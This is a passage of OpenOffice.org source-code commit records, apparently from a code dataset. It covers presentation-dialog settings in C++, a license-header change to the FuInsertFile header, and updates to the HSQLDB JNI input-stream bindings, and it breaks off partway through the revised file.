ATTR_PRESENT_ENDLESS, pDoc->GetPresEndless() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_MANUEL, pDoc->GetPresManual() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_MOUSE, pDoc->GetPresMouseVisible() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_PEN, pDoc->GetPresMouseAsPen() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_NAVIGATOR, pDoc->GetStartPresWithNavigator() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_ANIMATION_ALLOWED, pDoc->IsAnimationAllowed() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_CHANGE_PAGE, !pDoc->GetPresLockedPages() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_ALWAYS_ON_TOP, pDoc->GetPresAlwaysOnTop() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_FULLSCREEN, pDoc->GetPresFullScreen() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_START_ACTUAL_PAGE, bStartWithActualPage ) );\n aDlgSet.Put( SfxUInt32Item( ATTR_PRESENT_PAUSE_TIMEOUT, pDoc->GetPresPause() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_SHOW_PAUSELOGO, pDoc->IsPresShowLogo() ) );\n\n SdStartPresentationDlg aDlg( (Window*) pWindow, aDlgSet, aPageNameList, pCustomShowList );\n\n if( aDlg.Execute() == RET_OK )\n {\n String aPage;\n ULONG nValue32;\n BOOL bValue;\n BOOL bValuesChanged = FALSE;\n\n aDlg.GetAttr( aDlgSet );\n\n aPage = ITEMVALUE( aDlgSet, ATTR_PRESENT_DIANAME, SfxStringItem );\n if( aPage != pDoc->GetPresPage() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresPage( aPage );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_ALL, SfxBoolItem );\n if ( bValue != pDoc->GetPresAll() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresAll( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_CUSTOMSHOW, SfxBoolItem );\n if ( bValue != pDoc->IsCustomShow() )\n {\n bValuesChanged = TRUE;\n pDoc->SetCustomShow( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_ENDLESS, SfxBoolItem );\n if ( bValue != pDoc->GetPresEndless() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresEndless( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_MANUEL, SfxBoolItem );\n if ( bValue != pDoc->GetPresManual() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresManual( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_MOUSE, SfxBoolItem );\n if ( bValue != pDoc->GetPresMouseVisible() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresMouseVisible( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_PEN, SfxBoolItem );\n if ( bValue != pDoc->GetPresMouseAsPen() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresMouseAsPen( bValue );\n }\n\n bValue = !ITEMVALUE( aDlgSet, ATTR_PRESENT_CHANGE_PAGE, SfxBoolItem );\n if ( bValue != pDoc->GetPresLockedPages() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresLockedPages( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_NAVIGATOR, SfxBoolItem );\n if ( bValue != pDoc->GetStartPresWithNavigator() )\n {\n bValuesChanged = TRUE;\n pDoc->SetStartPresWithNavigator( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_ANIMATION_ALLOWED, SfxBoolItem );\n if ( bValue != pDoc->IsAnimationAllowed() )\n {\n bValuesChanged = TRUE;\n pDoc->SetAnimationAllowed( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_ALWAYS_ON_TOP, SfxBoolItem );\n if ( bValue != pDoc->GetPresAlwaysOnTop() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresAlwaysOnTop( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_FULLSCREEN, SfxBoolItem );\n if ( bValue != pDoc->GetPresFullScreen() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresFullScreen( bValue );\n }\n\n nValue32 = ITEMVALUE( aDlgSet, ATTR_PRESENT_PAUSE_TIMEOUT, SfxUInt32Item );\n if( nValue32 != pDoc->GetPresPause() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresPause( nValue32 );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_SHOW_PAUSELOGO, SfxBoolItem );\n if ( bValue != pDoc->IsPresShowLogo() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresShowLogo( bValue );\n }\n\n \/\/ wenn sich etwas geaendert hat, setzen wir das Modified-Flag,\n if ( bValuesChanged )\n pDoc->SetChanged( TRUE );\n }\n\n \/\/ Strings aus Liste loeschen\n for( void* pStr = aPageNameList.First(); pStr; pStr = aPageNameList.Next() )\n delete (String*) pStr;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: fuinsfil.hxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: kz $ $Date: 2005-01-18 15:17:26 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SD_FU_INSERT_FILE_HXX\n#define SD_FU_INSERT_FILE_HXX\n\n#ifndef SD_FU_POOR_HXX\n#include \"fupoor.hxx\"\n#endif\n#include <vector>\n\nclass SfxMedium;\nstruct StyleRequestData;\n\nnamespace sd {\n\nclass FuInsertFile\n : public FuPoor\n{\npublic:\n TYPEINFO();\n\n FuInsertFile (\n ViewShell* pViewSh,\n ::sd::Window* pWin,\n ::sd::View* pView,\n SdDrawDocument* pDoc,\n SfxRequest& rReq);\n virtual ~FuInsertFile (void);\n\n virtual void Activate(); \/\/ Function aktivieren\n virtual void Deactivate(); \/\/ Function deaktivieren\n\n static void GetSupportedFilterVector( ::std::vector< String >& rFilterVector );\n\nprivate:\n\n String aLayoutName; \/\/ Layoutname der aktuell eingefuegten Seite\n String aFilterName; \/\/ gewaehlter Dateifilter\n String aFile; \/\/ gewaehlter Dateiname\n\n void InsTextOrRTFinOlMode(SfxMedium* pMedium);\n BOOL InsSDDinOlMode(SfxMedium* pMedium);\n void InsTextOrRTFinDrMode(SfxMedium* pMedium);\n BOOL InsSDDinDrMode(SfxMedium* pMedium);\n};\n\n} \/\/ end of namespace sd\n\n#endif\n<commit_msg>INTEGRATION: CWS ooo19126 (1.4.236); FILE MERGED 2005\/09\/05 13:23:07 rt 1.4.236.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: fuinsfil.hxx,v $\n *\n * $Revision: 1.5 $\n *\n * last change: $Author: rt $ $Date: 2005-09-09 05:34:42 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef SD_FU_INSERT_FILE_HXX\n#define SD_FU_INSERT_FILE_HXX\n\n#ifndef SD_FU_POOR_HXX\n#include \"fupoor.hxx\"\n#endif\n#include <vector>\n\nclass SfxMedium;\nstruct StyleRequestData;\n\nnamespace sd {\n\nclass FuInsertFile\n : public FuPoor\n{\npublic:\n TYPEINFO();\n\n FuInsertFile (\n ViewShell* pViewSh,\n ::sd::Window* pWin,\n ::sd::View* pView,\n SdDrawDocument* pDoc,\n SfxRequest& rReq);\n virtual ~FuInsertFile (void);\n\n virtual void Activate(); \/\/ Function aktivieren\n virtual void Deactivate(); \/\/ Function deaktivieren\n\n static void GetSupportedFilterVector( ::std::vector< String >& rFilterVector );\n\nprivate:\n\n String aLayoutName; \/\/ Layoutname der aktuell eingefuegten Seite\n String aFilterName; \/\/ gewaehlter Dateifilter\n String aFile; \/\/ gewaehlter Dateiname\n\n void InsTextOrRTFinOlMode(SfxMedium* pMedium);\n BOOL InsSDDinOlMode(SfxMedium* pMedium);\n void InsTextOrRTFinDrMode(SfxMedium* pMedium);\n BOOL InsSDDinDrMode(SfxMedium* pMedium);\n};\n\n} \/\/ end of namespace sd\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: StorageNativeInputStream.cxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: hr $ $Date: 2004-11-09 12:09:23 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the License); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an AS IS basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): Ocke Janssen\n *\n *\n ************************************************************************\/\n\n#if HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#ifndef _COM_SUN_STAR_IO_XSTREAM_HPP_\n#include <com\/sun\/star\/io\/XStream.hpp>\n#endif\n#ifndef _COM_SUN_STAR_CONTAINER_XNAMEACCESS_HPP_\n#include <com\/sun\/star\/container\/XNameAccess.hpp>\n#endif\n#ifndef _COM_SUN_STAR_DOCUMENT_XDOCUMENTSUBSTORAGESUPPLIER_HPP_\n#include <com\/sun\/star\/document\/XDocumentSubStorageSupplier.hpp>\n#endif\n#ifndef _COM_SUN_STAR_EMBED_XSTORAGE_HPP_\n#include <com\/sun\/star\/embed\/XStorage.hpp>\n#endif\n#ifndef _COM_SUN_STAR_EMBED_ELEMENTMODES_HPP_\n#include <com\/sun\/star\/embed\/ElementModes.hpp>\n#endif\n#ifndef _COMPHELPER_STLTYPES_HXX_\n#include <comphelper\/stl_types.hxx>\n#endif\n#ifndef _COMPHELPER_TYPES_HXX_\n#include <comphelper\/types.hxx>\n#endif\n#include \"hsqldb\/HStorageAccess.h\"\n#include \"hsqldb\/HStorageMap.hxx\"\n#include \"hsqldb\/StorageNativeInputStream.h\"\n\n#include \"jvmaccess\/virtualmachine.hxx\"\n#include \"com\/sun\/star\/lang\/XSingleComponentFactory.hpp\"\n\n#include <rtl\/logfile.hxx>\n#include <limits>\n\n\nusing namespace ::com::sun::star::container;\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::document;\nusing namespace ::com::sun::star::embed;\nusing namespace ::com::sun::star::io;\nusing namespace ::com::sun::star::lang;\nusing namespace ::connectivity::hsqldb;\n\n#define OUSTR(x) ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM(x) )\n\/*****************************************************************************\/\n\/* exception macros *\/\n\n#define ThrowException(env, type, msg) { \\\n env->ThrowNew(env->FindClass(type), msg); }\n\/*\n * Class: com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream\n * Method: openStream\n * Signature: (Ljava\/lang\/String;Ljava\/lang\/String;I)V\n *\/\nJNIEXPORT void JNICALL Java_com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream_openStream\n (JNIEnv * env, jobject obj_this,jstring key, jstring name, jint mode)\n{\n Java_com_sun_star_sdbcx_comp_hsqldb_NativeStorageAccess_openStream(env,obj_this,name,key,mode);\n}\n\/\/ -----------------------------------------------------------------------------\n\n\/*\n * Class: com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream\n * Method: read\n * Signature: (Ljava\/lang\/String;Ljava\/lang\/String;)I\n *\/\nJNIEXPORT jint JNICALL Java_com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream_read__Ljava_lang_String_2Ljava_lang_String_2\n (JNIEnv * env, jobject obj_this,jstring key, jstring name)\n{\n return Java_com_sun_star_sdbcx_comp_hsqldb_NativeStorageAccess_read__Ljava_lang_String_2Ljava_lang_String_2(env,obj_this,name,key);\n}\n\/\/ -----------------------------------------------------------------------------\n\n\/*\n * Class: com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream\n * Method: read\n * Signature: (Ljava\/lang\/String;Ljava\/lang\/String;[BII)I\n *\/\nJNIEXPORT jint JNICALL Java_com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream_read__Ljava_lang_String_2Ljava_lang_String_2_3BII\n (JNIEnv * env, jobject obj_this,jstring key, jstring name, jbyteArray buffer, jint off, jint len)\n{\n ::boost::shared_ptr<StreamHelper> pHelper = StorageContainer::getRegisteredStream(env,name,key);\n Reference< XInputStream> xIn = pHelper.get() ? pHelper->getInputStream() : Reference< XInputStream>();\n OSL_ENSURE(xIn.is(),\"Input stream is NULL!\");\n if ( xIn.is() )\n {\n sal_Int32 nBytesRead = 0;\n\n jsize nLen = env->GetArrayLength(buffer);\n Sequence< ::sal_Int8 > aData(nLen);\n\n sal_Int32 av = xIn->available();\n if ( av != 0 && nLen > av)\n nBytesRead = xIn->readBytes(aData, av);\n else\n nBytesRead = xIn->readBytes(aData,nLen);\n\n \/\/ Casting bytesRead to an int is okay, since the user can\n \/\/ only pass in an integer length to read, so the bytesRead\n \/\/ must <= len.\n \/\/\n if (nBytesRead <= 0) {\n return -1;\n } else if (nBytesRead < len) {\n env->SetByteArrayRegion(buffer,off,nBytesRead,&aData[0]);\n } else {\n env->SetByteArrayRegion(buffer,off,len,&aData[0]);\n }\n return nBytesRead;\n }\n ThrowException( env,\n \"java\/io\/IOException\",\n \"Stream is not valid\");\n return -1;\n}\n\/\/ -----------------------------------------------------------------------------\n\n\/*\n * Class: com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream\n * Method: close\n * Signature: (Ljava\/lang\/String;Ljava\/lang\/String;)V\n *\/\nJNIEXPORT void JNICALL Java_com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream_close\n (JNIEnv * env, jobject obj_this,jstring key, jstring name)\n{\n StorageContainer::revokeStream(env,name,key);\n}\n\/\/ -----------------------------------------------------------------------------\n\n\/*\n * Class: com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream\n * Method: skip\n * Signature: (Ljava\/lang\/String;Ljava\/lang\/String;J)J\n *\/\nJNIEXPORT jlong JNICALL Java_com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream_skip\n (JNIEnv * env, jobject obj_this,jstring key, jstring name, jlong n)\n{\n ::boost::shared_ptr<StreamHelper> pHelper = StorageContainer::getRegisteredStream(env,name,key);\n OSL_ENSURE(pHelper.get(),\"No stream helper!\");\n if ( pHelper.get() )\n {\n Reference<XInputStream> xIn = pHelper->getInputStream();\n if ( xIn.is() )\n {\n try\n {\n sal_Int32 avail = xIn->available();\n sal_Int64 tmpLongVal = n;\n sal_Int32 tmpIntVal;\n do {\n if (tmpLongVal >= ::std::numeric_limits<sal_Int64>::max() )\n tmpIntVal = ::std::numeric_limits<sal_Int32>::max();\n else \/\/ Casting is safe here.\n tmpIntVal = static_cast<sal_Int32>(tmpLongVal);\n\n tmpLongVal -= tmpIntVal;\n\n xIn->skipBytes(tmpIntVal);\n } while (tmpLongVal > 0);\n\n if ( avail != 0 && avail < n) {\n return(avail);\n } else {\n return(n);\n }\n }\n catch(Exception& e)\n {\n OSL_ENSURE(0,\"Exception catched! : writeBytes(aData);\");\n if (JNI_FALSE != env->ExceptionCheck())\n env->ExceptionClear();\n ::rtl::OString cstr( ::rtl::OUStringToOString(e.Message, RTL_TEXTENCODING_JAVA_UTF8 ) );\n OSL_TRACE( __FILE__\": forwarding Exception: %s\", cstr.getStr() );\n ThrowException( env,\n \"java\/io\/IOException\",\n cstr.getStr());\n }\n }\n }\n else\n {\n ThrowException( env,\n \"java\/io\/IOException\",\n \"Stream is not valid\");\n }\n return 0;\n}\n\/\/ -----------------------------------------------------------------------------\n\n\/*\n * Class: com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream\n * Method: available\n * Signature: (Ljava\/lang\/String;Ljava\/lang\/String;)I\n *\/\nJNIEXPORT jint JNICALL Java_com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream_available\n (JNIEnv * env, jobject obj_this,jstring key, jstring name)\n{\n ::boost::shared_ptr<StreamHelper> pHelper = StorageContainer::getRegisteredStream(env,name,key);\n OSL_ENSURE(pHelper.get(),\"No stream helper!\");\n Reference<XInputStream> xIn = pHelper.get() ? pHelper->getInputStream() : Reference<XInputStream>();\n if ( xIn.is() )\n {\n try\n {\n return xIn->available();\n }\n catch(Exception& e)\n {\n OSL_ENSURE(0,\"Exception catched! : writeBytes(aData);\");\n if (JNI_FALSE != env->ExceptionCheck())\n env->ExceptionClear();\n ::rtl::OString cstr( ::rtl::OUStringToOString(e.Message, RTL_TEXTENCODING_JAVA_UTF8 ) );\n OSL_TRACE( __FILE__\": forwarding Exception: %s\", cstr.getStr() );\n ThrowException( env,\n \"java\/io\/IOException\",\n cstr.getStr());\n }\n }\n else\n {\n ThrowException( env,\n \"java\/io\/IOException\",\n \"Stream is not valid\");\n }\n return 0;\n}\n\/\/ -----------------------------------------------------------------------------\n\n\/*\n * Class: com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream\n * Method: read\n * Signature: (Ljava\/lang\/String;Ljava\/lang\/String;[B)I\n *\/\nJNIEXPORT jint JNICALL Java_com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream_read__Ljava_lang_String_2Ljava_lang_String_2_3B\n (JNIEnv * env, jobject obj_this,jstring key, jstring name, jbyteArray buffer)\n{\n ::boost::shared_ptr<StreamHelper> pHelper = StorageContainer::getRegisteredStream(env,name,key);\n Reference< XInputStream> xIn = pHelper.get() ? pHelper->getInputStream() : Reference< XInputStream>();\n OSL_ENSURE(xIn.is(),\"Input stream is NULL!\");\n sal_Int32 nBytesRead = 0;\n if ( xIn.is() )\n {\n jsize nLen = env->GetArrayLength(buffer);\n Sequence< ::sal_Int8 > aData(nLen);\n\n sal_Int32 av = xIn->available();\n if ( av != 0 && nLen > av)\n nBytesRead = xIn->readBytes(aData, av);\n else\n nBytesRead = xIn->readBytes(aData,nLen);\n\n \/\/ Casting bytesRead to an int is okay, since the user can\n \/\/ only pass in an integer length to read, so the bytesRead\n \/\/ must <= len.\n \/\/\n if (nBytesRead <= 0) {\n return -1;\n }\n env->SetByteArrayRegion(buffer,0,nLen,&aData[0]);\n }\n return nBytesRead;\n}\n\/\/ -----------------------------------------------------------------------------\n<commit_msg>INTEGRATION: CWS hsqldb2 (1.2.20); FILE MERGED 2005\/01\/28 12:21:54 oj 1.2.20.2: #i39922# new interfaces in hsqldb and some debug info 2005\/01\/25 08:42:51 oj 1.2.20.1: #i39922# correct stream handling<commit_after>\/*************************************************************************\n *\n * $RCSfile: StorageNativeInputStream.cxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: vg $ $Date: 2005-02-16 15:52:28 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the License); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an AS IS basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): Ocke Janssen\n *\n *\n ************************************************************************\/\n\n#if HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#ifndef _COM_SUN_STAR_IO_XSTREAM_HPP_\n#include <com\/sun\/star\/io\/XStream.hpp>\n#endif\n#ifndef _COM_SUN_STAR_CONTAINER_XNAMEACCESS_HPP_\n#include <com\/sun\/star\/container\/XNameAccess.hpp>\n#endif\n#ifndef _COM_SUN_STAR_DOCUMENT_XDOCUMENTSUBSTORAGESUPPLIER_HPP_\n#include <com\/sun\/star\/document\/XDocumentSubStorageSupplier.hpp>\n#endif\n#ifndef _COM_SUN_STAR_EMBED_XSTORAGE_HPP_\n#include <com\/sun\/star\/embed\/XStorage.hpp>\n#endif\n#ifndef _COM_SUN_STAR_EMBED_ELEMENTMODES_HPP_\n#include <com\/sun\/star\/embed\/ElementModes.hpp>\n#endif\n#ifndef _COMPHELPER_STLTYPES_HXX_\n#include <comphelper\/stl_types.hxx>\n#endif\n#ifndef _COMPHELPER_TYPES_HXX_\n#include <comphelper\/types.hxx>\n#endif\n#include \"hsqldb\/HStorageAccess.h\"\n#include \"hsqldb\/HStorageMap.hxx\"\n#include \"hsqldb\/StorageNativeInputStream.h\"\n\n#include \"jvmaccess\/virtualmachine.hxx\"\n#include \"com\/sun\/star\/lang\/XSingleComponentFactory.hpp\"\n\n#include <rtl\/logfile.hxx>\n#include <limits>\n\n\nusing namespace ::com::sun::star::container;\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::document;\nusing namespace ::com::sun::star::embed;\nusing namespace ::com::sun::star::io;\nusing namespace ::com::sun::star::lang;\nusing namespace ::connectivity::hsqldb;\n\n#define OUSTR(x) ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM(x) )\n\/*****************************************************************************\/\n\/* exception macros *\/\n\n#define ThrowException(env, type, msg) { \\\n env->ThrowNew(env->FindClass(type), msg); }\n\/*\n * Class: com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream\n * Method: openStream\n * Signature: (Ljava\/lang\/String;Ljava\/lang\/String;I)V\n *\/\nJNIEXPORT void JNICALL Java_com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream_openStream\n (JNIEnv * env, jobject obj_this,jstring key, jstring name, jint mode)\n{\n#if OSL_DEBUG_LEVEL > 1\n {\n ::rtl::OUString sOrgName = StorageContainer::jstring2ustring(env,name);\n sOrgName += ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\".input\"));\n ::rtl::OString sName = ::rtl::OUStringToOString(sOrgName,RTL_TEXTENCODING_ASCII_US);\n getStreams()[sOrgName] = fopen( sName.getStr(), \"a+\" );\n }\n#endif\n StorageContainer::registerStream(env,name,key,mode);\n}\n\/\/ -----------------------------------------------------------------------------\n\n\/*\n * Class: com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream\n * Method: read\n * Signature: (Ljava\/lang\/String;Ljava\/lang\/String;)I\n *\/\nJNIEXPORT jint JNICALL Java_com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream_read__Ljava_lang_String_2Ljava_lang_String_2\n (JNIEnv * env, jobject obj_this,jstring key, jstring name)\n{\n return Java_com_sun_star_sdbcx_comp_hsqldb_NativeStorageAccess_read__Ljava_lang_String_2Ljava_lang_String_2(env,obj_this,name,key);\n}\n\/\/ -----------------------------------------------------------------------------\n\n\/*\n * Class: com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream\n * Method: read\n * Signature: (Ljava\/lang\/String;Ljava\/lang\/String;[BII)I\n *\/\nJNIEXPORT jint JNICALL Java_com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream_read__Ljava_lang_String_2Ljava_lang_String_2_3BII\n (JNIEnv * env, jobject obj_this,jstring key, jstring name, jbyteArray buffer, jint off, jint len)\n{\n return Java_com_sun_star_sdbcx_comp_hsqldb_NativeStorageAccess_read__Ljava_lang_String_2Ljava_lang_String_2_3BII(env,obj_this,name,key,buffer,off,len);\n}\n\/\/ -----------------------------------------------------------------------------\n\n\/*\n * Class: com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream\n * Method: close\n * Signature: (Ljava\/lang\/String;Ljava\/lang\/String;)V\n *\/\nJNIEXPORT void JNICALL Java_com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream_close\n (JNIEnv * env, jobject obj_this,jstring key, jstring name)\n{\n#if OSL_DEBUG_LEVEL > 1\n {\n ::rtl::OUString sOrgName = StorageContainer::jstring2ustring(env,name);\n sOrgName += ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\".input\"));\n fclose( getStreams()[sOrgName] );\n getStreams().erase(sOrgName);\n }\n#endif\n StorageContainer::revokeStream(env,name,key);\n}\n\/\/ -----------------------------------------------------------------------------\n\n\/*\n * Class: com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream\n * Method: skip\n * Signature: (Ljava\/lang\/String;Ljava\/lang\/String;J)J\n *\/\nJNIEXPORT jlong JNICALL Java_com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream_skip\n (JNIEnv * env, jobject obj_this,jstring key, jstring name, jlong n)\n{\n ::boost::shared_ptr<StreamHelper> pHelper = StorageContainer::getRegisteredStream(env,name,key);\n OSL_ENSURE(pHelper.get(),\"No 